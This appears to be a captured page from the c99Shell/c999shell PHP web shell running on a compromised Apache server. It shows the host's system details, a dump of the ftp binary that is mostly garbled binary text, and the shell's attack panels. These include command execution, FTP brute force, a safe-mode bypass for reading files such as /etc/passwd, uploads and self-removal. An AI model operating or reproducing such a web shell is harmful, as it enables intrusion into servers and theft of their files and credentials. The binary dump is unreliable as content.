!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ftp (78.77 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ELF`4864 (44p4p44q4qpp"""ȢȢ "ܢܢHHqHq PtdxxxQtd/lib/ld-linux.so.2GNU libreadline.so.5__gmon_start___Jv_RegisterClassesrl_terminal_name_initreadline_finiadd_historylibncurses.so.5libc.so.6_IO_stdin_usedsocketfflushstrcpy__printf_chkexitexecl_IO_putcsetlocalegai_strerrorstrncmpstrrchrwait__strdupperrorconnectgetpwuidclosedirstrncpysignalputsfork__stack_chk_failunlinkputcharlistenselectstdinpopenchmodrewindgmtimeisattyfeoffgetsgetpwnamstrlensendgetaddrinfo__errno_locationbindfseekchdirreadgetnameinfo__fxstat64shutdownpoll__fprintf_chk__sigsetjmpstdoutfclose__strtol_internalsetsockoptmallocsiglongjmpgetpassstrcatumaskstrcasecmp__strncpy_chkopendir__xstat64getenv__ctype_b_locsscanfgetservbynamestderr__snprintf_chkgetlogingetuid__strncat_chkstrncasecmpfilenopclosegethostnamegetcwdfwritegettimeofdaymkstemp64__memcpy_chklseek64strchrgetsocknamerindex__vfprintf_chkfdopenreaddir64acceptsleep__strcpy_chkfreeaddrinfo__sprintf_chkmemmovefopen64access_IO_getc__strcat_chkstrcmp__libc_start_maindirfdferrorfree_edata__bss_start_endGLIBC_2.4GLIBC_2.3GLIBC_2.2GLIBC_2.3.4GLIBC_2.1GLIBC_2.0libdl.so.2/lib/ld-linux.so.2MgM`x wM:tMhP1Mq5.x@Tįȯ D(̯\@ įدpԃȯ샊̯^^^^^_]4_̯8_<_L___ȯ___̿п0Կؿܿٳk!OA kou|(BEke]K 8qXfUaQ4iv  ^<Dy<$ ! uD Y@WgM%zU<q2*EYBo=zW+=Nm=qv<<2M h9F9 -O?"9<xnb8+\N$o$_LGw5CjhzX av+0MD<<4|52kg9[-O%/=W1̯ @#]#%cȯF U]5įwii 6ii @ii Jti Tii `ii j qįvȯs̯lģȣ̣Уԣأܣ       $(,048< @!D"H#L$P%T&X'\(`)d*h+l,p-t.x/|012345p6789:;<=>?@ĤAȤB̤CФDԤEؤFܤGHIJKLMNOPQR STUVW X$Y(Z,[0\4]8^<_@`DaHbLcPdTeXf\g`hdihnljUx5%%ģh%ȣh%̣h%Уh%ԣh %أh(%ܣh0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h% h%h%h%h%h% hp%$h`%(hP%,h@%0h0%4h %8h%<h%@h%Dh%Hh%Lh%Ph%Th %Xh(%\h0%`h8p%dh@`%hhHP%lhP@%phX0%th` %xhh%|hp%hx%h%h%h%h%h%h%h%hp%h`%hP%h@%h0%h %h%h%h%Ĥh%Ȥh%̤h%Фh%Ԥh %ؤh(%ܤh0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h% h%h%h%h%h% hp%$h`%(hP%,h@%0h0%4h %8h%<h%@h%Dh%Hh%Lh%Ph%Th %Xh(%\h0%`h8p%dh@`%hhHP%lhP@1^PTRh]h ]QVh KUS[( tX[ÐUS=ԯu?Ԣ-ТXЯ9v&ЯТЯ9wԯ[]Ít&'Uآtt $آÐU.{t]]`Í&UWVS=YEtEU쀺Yt?~tF`jƈU}tD11:]t1Ƀ`jȄt)?$8u;M|-^u[^_]È^uY^uŐt&U1={{D$]$D$L{jU1=YYD$]$D$ YjU1=YYD$^$D$YjU1=DD$le$D$jU1=D$$^$D$LjU1=D$6^$D$ jU1=D$D^$D$jU1=jjDD$Z^$D$jjU1=jjD$p^$D$LjjU1=77D$^$D$ 7jU1=D$^$D$jUD$D$e$jfUD$jD$e$njfUD$ jD$e$>jfU^E }@~ E U]\^E U]\ U$^\ÍU^SE }jj@t^D$$G\j[]Ít&'U^SE }jj@t^D$$[j[]Ít&'U^SE }jj@t^D$$[j[]Ít&'UWVS ]=j5Yu;jtTE {tQ Yt9u:9Xt:u\$D$e$f [^_]j룸t,@$^D$Zt:=j5Y [^_]À=@jtD$@j@$^D$Zj뾍&'U$_~Zt Í&=juju$ _OZ$$f㍴&'UWVSUt1 utkE t,t%$3\8w]D{Džx{3\U$fxxL[uȀ~$^uNV~ʋDHt60FAϋTq<,t<]~$^t3ɉ ,]<\{$zلQ3ɉʋDH0aAϋTt6\ЋD9t*x1)9uxىxvFtxxx=utĜ[^_]Džtt#ׄt<]<\tׄu$_k묃t~G<8t1‰ڃ1DEt8uM\ЉӉT;t>UM:jڍrt&txxButV ؋x xHuW\ЍVD9x1)9uxWىxxxKKlCЈklpDPlLk0tVp1\:tЋD9*x1)39uxÉxtxxBu'USj$,_j]Ut j[]Á=ju$Pf$+_(Uj[]ÍU1=  t Yu[ D$0_$D$ jtD$D$F_$${CÐ 랉'U1 =YңYtu[YAD$\_$D$YjtD$(D$u_$_${Ð랉'UVStxtbD$4$[uC t8uoC$^D$SuPD$ $D$Cj[^]Ét$D$_$j[^]ÉD$C$^D$%S닍vU_]"fU_]fU_]fUSUE @[]D$_$D$t5b1ۉT$D$ D$_$_u$_j[]D$D$xf$j[]Ð&UVSÃ_:u[_:CuO$$tJf.;/t$f0/\$4$@[^]Í&<|tD$D$jD$ D$ jD$f$Bǡ6ơ*áj\$ |$t$D$$g$D$ZYáY\$ D$Xg$D$(á\$ D$`$D$jD$ YD$`jD$`$=ċD$ {D$kD$`$j)á \$ D$g$D$aYD$`$D$?5j~F$aj~011ۍ@D$D$~$95jj[^_]$`19$` $]`ȋ$;jt.jD$f$D$p$;$l`vލ&'Uȋt11=j$Yt;D$$$T;fUWVSueU1ҋE ƅpÍp! t€uҸ))D$ D$C<$D$EuD$$aJEe3uĬ[^_]$a6 UED$aD$D$ $$jv'Uju$"abJ8t$ȋ8jPujÍ&'Uju"$9 ju$Zא&Kމ'UWVS, D$eU1҉D$ $! t€ҋ+BD$؉$V$~CƄ XD$؉$$9uƍD$$cHtUe3u-, [^_]Ít&$t@t4f{t&'UWVSLED$$EeE1RD$$<tw~$t&K9u|$$t$$tjEe3u L[^_]$8aHj$ZuD$$D$$}$'aD$/4$tX}fE-D$(\$<$2a:ui3a:Cu]4a:CuQ{uNEthED$D$5a|$D$ 4$4$Sj$E+멉4$O̯$뛾-a/D$|$4$UVS0 eE1۰tx`Yt t|T$ L$D$Ha$n̯$ȯD$ D$$ƅBUS$ m̯$Yt `YuYD$$ pau붉D$$ *v'UWVS}$=ED$ b$D$Pȯƃ 4$D$)؉D$tm4$t  t.ED$$U19U  [^_]ƀɐ$a$$H$념t&USD}{jt3E @$/bD$;t%$8jD[]jED$ED$ED$ED$ED$ ED$D$7b$8ED$ ED$ED$ED$ED$ED$ E @D$h$D$\t&E D$ED$b$E D$b$D$qjfU}~E @$TbD$9ÍE D$ED$b$uʋE D$b$D$jÐt&USEjċjD$ $áȋuTjD$$kD$z; t\$D$${[]Ã; tj$D$ 늍E D$ED$fb$4E D$mb$D$j[]$\bċ%ċj[]Ðt&US}E @$E>E?Uz u)$b̯$j[]D$$t`j[]ÍE D$ED$*c$v_E D$b$D$j뇐t&D$`$|$'Ex t jtmEP E D$E$1=j$Y&\$$ $b$b$b̯$$j&\$$UBtk$EP&Rt&'U}~t}NE D$ED$b$u0E D$b$D$sjÍ&E PT$@$cD$5ÐE D$ED$]~$ti'U}~M JcUfE D$ED$c$Fu΋E D$2c$D$jÉ'U}~M zUtfE D$ED$Pc$u΋E D$2c$D$EjÉ'U}~TE @$cD$4t Í&=jujuaE @$cD$4fE D$ED$ec$&uE D$tc$D$j$h둍t&'U}~TE @$cD$3t Í&=ju juaE @$cD$3fE D$ED$ec$fuE D$tc$D$j$h둍t&'UStE EeE1}EvCED$i$D$fjEe3Qt[]ÍE@$cD$2tZ1҃t.̯D$D$$W|D$ y뛍&u}uE@ $aD$2o}~dE@$cD$_2u}~]E@ $aD$>2at&ED$ED$c$]$cbED$c]$0̯$ȯD$P$D$EEX ZUVS0}}U EUU_:_:BE PaxltUaUD$p$Y ED$$ Yt^E~SpafUMD$D$ E T$ $D$8OY`YuhE$D$Y0[^]ËE8|EEEtUZaj0[^]ËE 5atY55YZE9IpadvE D$ED$c$fE D$,i$D$j0[^]ÍE D$ED$c$t'U}}JE D$ED$c$u,E D$c$D$?jÍvE @$ dD$.uE @$dD$.ÍE D$ED$c$StZv'US}E YD$p$WD$$ EE 1t;u=E 1YuE$D$Y[]áYtE ڋYt\$$4d-Yx`YkuYԍt&YtNjtjc=ċ? $T/~C1һD <.zt&ZcDAt獴&jċ\lxD$B$D$D\HD{j<l@$/bD$%)$8^1j9d19rlK?hwlfDžpC$ClXblD$pD$Dd$o=ۈt39B%-9B;Gx'dl`脿$%D$l@D$aD$D$ $G1US] E$dt"CD$ CD$i$D$J[]Ít&`d dUS]U tM1[]d؉M1[]'UEU Ed]ut&UWVSLE eE1}[YD$p$;D$$ ȋd}Dž+Y 9Etы8$iơ@Y$Ct4$_4$O렉وЋDPtF qGu΍j=ċ9ڸ5YdudD$ T$\$ $NYu<`Yt3daDtYv1t};u YܡYtӋڋtڅ3P菺ڋBDAtf$D$ YEe3L[^_]Ðt&8Nj.8ċ  9J5YdudL$D$ T$$%M Yj`Y\da *"^ubYҐKYtዅTtСjSċKDž9(YDždu DždT$L$D$ $!LYT`YGda D$ED$d$D$d$D$jpC衼S8}1=X 1=1=YYƅfUWVSE#}] ECsEC] C9t 9sd8at YdudUu-SC9tJL$ <$T$D$J[^_]ájċ] SC9uu19su믍E uD$DdD$4$E D$j$D$ j[^_]Ë] EECCCd8at&j[^_]Ë] !8CRCE D$ED$c$AQvUj]u}};UBv4E D$d$D$j]u}]ÃE 1҉T$@$2tҡYjjascifijjnon-jprinfjtj jstref$jam&jȎfileYf@j8{/{ju j$^e8=ȋHjbinafry0jrjD$$j$D$]jFE PVv5ȋjt-e 8u$PjdzE D$ED$d$UE @$r-fD$ $8菵tu1~.)>D$8D$e$|jj-D$D$xf$9D$ $8mD$8D$e$t&UVS=jV}.D$E @D$j@$ۯj Htv<j4Lttt&jtaȯ$(< uًj9L {C몾ZLZ둃t$ȯ$ǯ uȯ$赯 u$(k$j[^]$kj[^]$j$jٲj[^]ÍBPjj딉PBjjwE D$ED$8e$>E D$Ce$D$j)UWVSE eU1҃}W=j11ۋB 9 @D$ D$$.u9(4D$D$$Q@DžDžL9ZWڮDB uDžt6f<$[<\ވ>tű $T$${`Nj$_cvx t j jV $|$$ҋt ~(T$D$$$ $D$_$U9X9Zt;E^Ue3U[^_]ËsK:DW1ɃLBDWuE9|DD$$ƭD$TwEEu-{Et jEatdN(E;趠DXjDCУjv8$c=Y=b=C8$5D$D$Rt&}5~ut&>(dv@EƀqfjD$z$D$辝j̯$ D$藢̯$:Ej;]Et]]%]e$S8$芟 j8j<[^_]á8$ޝD$D$8D$ D$zD$$}8$p(}5$w̯$:c]E}1t E$D$=jt6t.5ht}pt}t $UE܃0$R8t$J8멋E$D$蛛1jv'UWVS $eE1D$D$D$D$zD$ D$D$ Q8$dD$ D$T$$rt $za8D$ D$zD$$謚8$蟜p1 ׉`󫡠8$ڙá8$șp8$谙t04$袙4$蘙p4$肙9 pxt+4$S4$IpÄux1t$(, 4 0 UȍEM̉D$E$v}E 8|E U$T$qEEE+` dE$q= A  trMȋ]̋EU9b|9w\E؅tU̯$#D$t̯${qEUE UątMȋ]̋EU9|9sYt$Mȋ]̋EU9|9rE؅vEȋŨEȉŰE$-p u-Eԅu&E$D$0tEȋŨEȉUE$.tE$ D$stEЃEf돋EȋUD$,}$D$T$ n̯$OpMȋ]̋EU9!|9EU(EUċMȋ]̋EU99sҍv tBEȋŨ|7EȋŨS̯$ D$ s̯$oYt E؅w9E D$e}D$D$ $^mD$$ UmEE D$d$lEEE@AE D$/$qhlƋtZ tU$lU D$aD$T$ D$$l<Pt&|?ۍvE D$$dn/Yu1> E D$$m~Y> ~~ED$D$$enxN5`1E$mt4 \9|ߋED$D$$nk$TkU D$aD$T$ D$$|kEUE$j8 t $_}lEE|$_l#L9 t $_}lEE_EȋUD$E}$D$T$ k̯$l#D$${l-LE $lu|=&̯$#D$o&[t&'UWVS EU M8eE1jDž4DžDž0DžDžt Eȋ[9jtD$$uDžD$Dž$6DžDždoD$ $Fi4_:48|i4D$u$iDž$*h@T$$D$mxP%=}4D$}D$D$ ̯$oh$D$ih$jjz$uPx$kPt$D$gt$ D$gjEe3 [^_]Åt:-tT$D$}$g00D$C{$T$gȋ048o_:A ȯtd$D$ gt$ D$fj$D$$6Hl` d(, 0j08$cD$T$B`gD$$gD$$ fjb~r5e1<$ eD$ T$$g򋝼ڍË$dt$\$$e~)ƅԋ5 9|Y9rS̯$#D$9j9}̯$fY99D$,}$D$T$ d̯$1f9Z9P(9} t&Y99D$,}$D$T$ c̯$Te9|D9r>(9}$Vhc$ D$h4$D$g$c u 9o9e̯$#D$`g̯$d 9}D$$Mc$D$at$ D$wat$cPx$dP$jtt$ҋGD$$}D$$ `4D$u$_Dž@4_$_4D$aD$L$ D$$`$D$ `)8$cL$$D$_t$ D$_8dt8d(D$$T$aD`$#}D$%`d80 tN|=7̯$ D$c̯$`Yy+<: t $}_DžDžD$$_t$ҋ$`jP$ݽ&$D$]$ D$]a$5_$D$] tY9|9s̯$#D$b̯$ D$vb̯$_Y$nb$XbK\8 Zf_=j==Y8$[8$[fDžD$D$$y`t&9$}](`dDžda[$[4D$aD$L$ D$$[<$W[D$aD$D$4D$ $|[D$E}$D$T$ [̯$B]Z$Z4D$aD$L$ D$$[D$E}$D$T$ &[̯$\| =̯$#D$_t&$t&[D$2D$$zD$ !^[X7;\7Ur]@Y}ÍvBX7B]Ut9u]]1Í'U ~$]t$t1{f L7$t$]ÍUSUtӉ$F[Cu[]ÍUWVSD7E<7E@7EE]9ÉEs@9]v*t&E;0|$4$^~݋E839]wڃE]E9rE@7[^_]ÍU($]uƉ}[<${[H7L9} D7=SU~@Y}]u}])ʃH7U<7D7U4$[<$[D$"\t$t$$P[|$$\EU\$}t&uT7zP7뤉뛍'UWVSlu}eE1DžfL7tn~~9u ~:At~9u~:Au ~:AtҍYt‰$Cuuf=L7t0|u$R!1҅t(1މӉ$vTS>+uUe3'lu[^_]f L7Y1E\7<7@7~@Y T7 X7ƅDžD7H7P79~9 X7ƅ`75D7P7u L7<7 t0u$PQ1t/1މˉ>K؋u<7w~:Gt/~9 ~:G~:GzWfK$}i$}i.<7tӉ$>NCu1<7NPUWVS }EEE:uu @t9:Btu);E~+uEEu}~! [^_]9EEuԋuڐt&UW7V SĎ Ď5E̯$ D$J`YK$~HMD$D$$xE;r$F$G  =D$$ƋI$/HQx t=jS t$$ҋ5t {{ RD$K$ DD$0J$ C`YȯD$$D$Dajf7{YY$G$DG$|G$2~G$G$G$G$M~G$DG$b~G$ oC$H t&ƀD$~$B̯$kD$GC$]`F̯$D$qG$bF$bF$~Fȯ$C uv$fSE$DvD$D$$~D$ FE$JG$>G&'UWVSbUWVS EU $8E4U0,eE1=D$D$D$ D$D$ 4$OBD$u4$=8uD$@4$@D$.4$7=<~Dž@) u勝@  u͋8D$ 8$?5jD$ 84$?D$.4$`At<$D$?8D$.$*AA<$D$^?'8+8D$ 8\$$@ 8t?8$3>1҉ЋUe3 [^_]Ít&Dž@t tt&t\t&&&ȋm8$0< t tރ jD@@_8$;<Dp uG 9ũ \jLZZ_؃)j98$k;!< Fuπ>FcD$ 8D$'D$$94 t88$9PT$$D$q>x `?0 $ 87<$L=0D$ 8$t<8$8PT$$D$=x `?(B,$ 8;$<,D$ 8$;P=4)D$ 8$#>71҃84$91{EfdDž PASS PASS XXXXPASVNo primary connectionPORT %slocal: %s remote: %s ftp: closeftp: socketftp multihome bindftp: setsockopt (ignored)EPSV 2LPSVPassive mode refused.%u,%u,%u,%u,%u,%u,%u,%u,%uEPSV%c%c%c%u%cftp: connectftp: bindftp: getsocknameftp: listenEPRT |%d|%s|%s|PORT %u,%u,%u,%u,%u,%uName (%s:%s): Name (%s): Login failed. Password:init%dftp: %s%s%s: %s ftp: unknownftp: mismatch address familyTrying %s... ftp: connect to address %sftp: fdopen failed. Connected to %s (%s). ftp: setsockoptlocal: %s REST %ld Bytes transferred: %lld Bytes transferred: %lld netin%s: short write received%s: not a plain file. netoutftp: pollsentPathname too longArguments too longOut of memoryUnknown user name after ~Bad directory components{{}`{[*?~tcppftpTERM -n: inhibit auto-login -v: verbose mode -d: enable debuggingftp: %c: unknown option ftp> sorry, input line too long?Ambiguous help command %s ?Invalid help command %s %-*s %s ftp: ftp/tcp: unknown service Usage: { ftp | pftp } [-pinegvtd] [hostname] -p: enable passive mode (default for ftp and pftp) -i: turn off prompting during mget -e: disable readline support, if present -g: disable filename globbing -m: don't force data channel interface to the same as control channel -t: enable packet tracing [nonfunctional]Commands may be abbreviated. Commands are: LPoLPOOoLoLoLOOoLOoLoLoLOoLOHOME%s/.netrcanonymousMissing macdef name argument.Unknown .netrc keyword %s 4K macro buffer exceededdefaultpasswordpasswdmachineError: `password' must follow `login' in .netrc Error - .netrc file not correct permissions. Remove password or correct mode (should be 600). Remove account or correct mode (should be 600). Macro definition missing null line terminator.;r(h0H`(xh(h 88PXhHHX##0X$H$`%%%%&X''$x(<H)\*|,8-.X../h0<h2\3|4:;<= >0 8?H x@d hB C C C D xE 8G I4 XJL Kh 8L L P U U 8V XV( [H ]h 8a Hc 8h Hh h Hl m< XmT ml m Hn o p hu w x@ z`  ȍ ؐ h $ȶ<THtx0PHpH,| @AD 0`AB FP @AD h`@AD @AD @AD  @AD `@AD @AD @AD  @AD (`@AD @@AD X.AB p.AB @.AB p1AG AB ОEAG D EAG DpEAG D$AB FDRAB \ AB I|ХdAB D@AD ЦAD `AB AF0AG @AG PAG 0`AB DL0AB BlЩAB FEpuAB AB EAB FFAB F`NAB AB I<6AB TаbAB l@GAB EAB AJAB F%AD H/AB II@AB BI$ PAB G@pAB D\AB F|>AB D@kAB ;AB DAB DAB gAB gAB 0pAB H0AB `AB D|SAB EAB jAB D@kAB AB pAB I @AB AJ@LAG D\`CQB AxAG AB IpAB F@kAB Q AB EAB I0 AI H8AE `AB F AB FKHNAB GAB  GAB pFAB  eAB AG$ 0AB AFD 0AB AGd AB BI pAD INE PAB F =AB AFJ @AB I @ AB I, PAB IL 5AG AMl )AB I 90MB  @9#AD  p9DAB LH 9*AB D 9AB F :AB LE8 `;AB IX ?}AB Ix AAD BF CrAB I GAB F GnAB AFF 0JAB  KAB (, KD  F AB DX RAB Fx T$AB D UEAB Igw  ]ohhqā t X0(oooouodo`voܢ04pݲ k ?k oP̯p>`U @:D j`lòPmP0`@9TX@E_iPpٳ˯j``j ppk 8~ϸ`_`r A F 52<0tjhV`p0iв0@EW0WpSD 9 nt޲ZUo eC:КP=3Ep^@<ʯ> =0$Id: cmds.c,v 1.3 2001/01/12 21:36:27 sekiya Exp $_Ye_[e]e[ece^_+a@j-$Id: cmdtab.c,v 1.1.1.1 2000/11/03 19:18:15 mk Exp $uCtuxmu`kukp_k@uk_kPu,r@ul v@lu`lulT{bmаul=dm@u"mv@mubmаu,r@umpvfr`um`um@}vnRu@n ]ekPvdn vnvn

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0047 ]--